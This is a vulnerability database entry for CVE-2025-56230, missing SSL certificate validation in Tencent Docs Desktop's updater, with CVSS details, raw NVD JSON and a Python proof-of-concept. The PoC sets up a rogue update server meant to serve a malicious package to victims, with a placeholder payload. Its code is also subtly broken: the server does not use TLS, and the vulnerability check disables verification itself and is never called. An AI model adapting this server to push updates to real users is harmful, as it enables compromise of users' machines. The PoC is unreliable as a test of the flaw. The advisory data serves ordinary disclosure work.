Security Vulnerability Report
中文
CVE-2025-56230 CVSS 7.5 HIGH

CVE-2025-56230

Published: 2025-11-04 22:16:32
Last Modified: 2026-02-10 17:47:39

Description

Tencent Docs Desktop 3.9.20 and earlier suffers from Missing SSL Certificate Validation in the update component.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:tencent:docs:*:*:*:*:*:*:*:* - VULNERABLE
Tencent Docs Desktop <= 3.9.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-56230 PoC - Missing SSL Certificate Validation in Tencent Docs Desktop # This PoC demonstrates the SSL certificate validation bypass import ssl import socket import http.server import socketserver from urllib.parse import urlparse class MaliciousUpdateServer(http.server.SimpleHTTPRequestHandler): """Fake update server that exploits missing SSL cert validation""" def do_GET(self): """Handle update check requests""" parsed_url = urlparse(self.path) # Check if this is an update check request if '/update' in parsed_url.path: # Return malicious update response # In real attack, this would serve a malicious update package self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.end_headers() # Malicious payload indicator # Replace with actual malicious update binary in real attack malicious_response = b'MALICIOUS_UPDATE_PAYLOAD' self.wfile.write(malicious_response) print('[+] Malicious update sent to victim') else: self.send_error(404) def create_ssl_context_without_verification(): """Demonstrate the vulnerable SSL context configuration""" # This is what the vulnerable application does - NO CERTIFICATE VERIFICATION context = ssl.create_default_context() context.check_hostname = False # Vulnerable: hostname check disabled context.verify_mode = ssl.CERT_NONE # Vulnerable: no certificate verification return context def check_vulnerability(target_host): """Check if target is vulnerable to CVE-2025-56230""" try: # Create vulnerable SSL context (what the app does) context = create_ssl_context_without_verification() # Try to connect with self-signed certificate with socket.create_connection((target_host, 443), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: cert = ssock.getpeercert() print(f'[!] Connection successful - Target may be VULNERABLE') print(f'[!] Certificate validation is bypassed') return True except ssl.SSLCertVerificationError: print('[+] Certificate properly validated - Target is NOT vulnerable') return False except Exception as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': print('CVE-2025-56230 PoC - Tencent Docs Desktop SSL Validation Bypass') print('=' * 60) # Start malicious update server on port 8443 PORT = 8443 with socketserver.TCPServer(('', PORT), MaliciousUpdateServer) as httpd: print(f'[*] Malicious server running on port {PORT}') print('[*] Wait for victim to check for updates...') httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56230", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:31.500", "lastModified": "2026-02-10T17:47:38.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tencent Docs Desktop 3.9.20 and earlier suffers from Missing SSL Certificate Validation in the update component."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-599"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tencent:docs:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.9.20", "matchCriteriaId": "5C719CAB-7B08-41D3-864A-137F10BF9B01"}]}]}], "references": [{"url": "https://www.notion.so/CVE-2025-56230-1a74e9f2a40d80dca0a2d0615dc7ac5a", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}